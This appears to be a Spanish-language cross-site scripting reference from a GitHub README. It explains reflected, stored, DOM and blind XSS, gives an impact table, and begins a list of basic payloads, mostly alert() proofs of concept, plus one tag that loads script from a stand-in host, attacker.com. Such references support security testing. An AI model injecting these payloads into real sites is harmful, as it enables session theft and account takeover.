
Referencia completa de XSS que abarca payloads reflejados, almacenados, DOM y ciegos, evasión de filtros, evasión de WAF, evasión de CSP, mXSS y estudios de casos reales de CVE.
La referencia XSS más completa en GitHub.
Reflected · Stored · DOM · Blind XSS — payloads, evasión de filtros, evasión de WAF, bypass de CSP, mXSS, cadenas de prototype pollution y CVEs del mundo real. Actualizado para 2026.
Payloads · Filter Bypass · WAF Evasion · DOM XSS · CSP Bypass · Blind XSS · Advanced · Tools
Cross-Site Scripting (XSS) es un ataque de inyección de código del lado del cliente en el que un atacante inyecta scripts maliciosos en contenido servido por una aplicación web de confianza. Cuando el navegador de la víctima renderiza la página, el script inyectado se ejecuta con los mismos privilegios que los scripts legítimos de ese origen.
XSS aparece consistentemente en el OWASP Top 10 porque el impacto es grave y la superficie de ataque es enorme:
| Impacto | Descripción |
|---|---|
| Secuestro de sesión | Robar document.cookie y tomar el control de sesiones autenticadas |
| Toma de control de cuenta | Cambiar correo electrónico/contraseña mediante solicitudes falsificadas usando la sesión de la víctima |
| Registro de pulsaciones de teclas | Capturar cada pulsación de tecla, incluidas contraseñas y números de tarjetas de crédito |
| Phishing | Inyectar formularios de inicio de sesión falsos que envían credenciales al atacante |
| Desfiguración | Modificar el contenido de la página para difundir desinformación o avergonzar al objetivo |
| Distribución de malware | Redirigir a las víctimas a kits de explotación |
| Minería de criptomonedas | Ejecutar mineros de criptomonedas en los navegadores de las víctimas |
| SSRF / Escaneo de puertos internos | Usar el navegador de la víctima para sondear la red interna |
| Recolección de credenciales | Leer credenciales autorrellenadas desde el DOM |
| Captura de pantalla / Cámara web | Capturar la pantalla mediante getDisplayMedia(), la cámara web mediante getUserMedia() |
XSS elude la Política de Mismo Origen (SOP). Debido a que el script malicioso se sirve desde el origen objetivo, el navegador lo trata como confiable. Esto significa que XSS le otorga a un atacante:
HttpOnlylocalStorage y sessionStorageCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| Tipo | Persistencia | A quién afecta | ¿El servidor ve el payload? |
|---|---|---|---|
| Reflejado | No | Víctima objetivo | Sí |
| Almacenado | Sí | Todos los visitantes | Sí |
| DOM | No | Víctima objetivo | Normalmente No |
| Ciego | Sí (remoto) | Administrador / usuario de backend | Sí (en el punto de inyección) |
Los payloads fundamentales que todo investigador de seguridad conoce. Estos funcionan donde no existe ningún filtrado.
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>